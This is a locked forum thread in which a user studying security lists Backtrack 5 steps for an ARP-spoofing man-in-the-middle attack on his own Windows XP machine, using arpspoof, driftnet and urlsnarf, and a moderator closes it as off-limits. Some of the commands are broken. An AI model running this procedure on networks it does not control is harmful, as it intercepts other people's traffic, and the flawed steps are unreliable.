Jump to content



Photo

Steps to Doing a Man-In-the-Middle Attack with Backtrack 5


  • This topic is locked This topic is locked
1 reply to this topic

#1 netsurfer802

netsurfer802

    Neowinian

  • Joined: 27-September 10

Posted 21 July 2013 - 22:12

As part of studying computer security I have been trying to figure out the steps in doing a Man-In-the-Middle attack on my Windows XP computer.  I have tried so many combinations for the IP addresses with no avail.  (On line 7 I did try transposing <default gateway with the inet address with Backtrack 5...I feel like I'm just wasting my time.) These are the steps I have:

 

1 In Backtrack 5 open up XTerminal and type the following:
cat /proc/sys
2 Next type:
cat /proc/sys/net/ipv4/ip_forward
3 If ip forword is set to 0 you'll need to change it to 1 by typing the following:
sudo echo 1 >> cat /proc/sys/net/ipv4/ip_forward
4 Next type:
ifconfig
5 Then get the inet address for ipv4.
6 Open up 2 other xTerminal windows and set them lined up next to each other.
7 Then type the following replacing <ip address> and <default gateway> with the victims machine ip address and default gateway ip address respectively:
sudo arpspoof -i eth0 -t <ip address> <default gateway>
8 Then type the following in the 2nd terminal replacing <ip address> and <default gateway> with the inet address and default gateway ip address respectively:
sudo arpspoof -i eth0 -t <default gateway><ip address>
9 Open up an internet browser in the victims machine machine.
10 Then type the following in the 3rd terminal:
sudo driftnet -i eth0
sudo urlsnarf -i eth0

 

Thanks in advanced for any helpful response.




#2 Barney T.

Barney T.

    Debian Linux: I'm Loving It!

  • Tech Issues Solved: 3
  • Joined: 30-August 03
  • Location: Williamsburg, Virginia

Posted 21 July 2013 - 22:20

This is not the place to post material like this. Circumvention of security is against the topics allowed for discussion, regardless of the intent.

 

Sorry!

 

Thread closed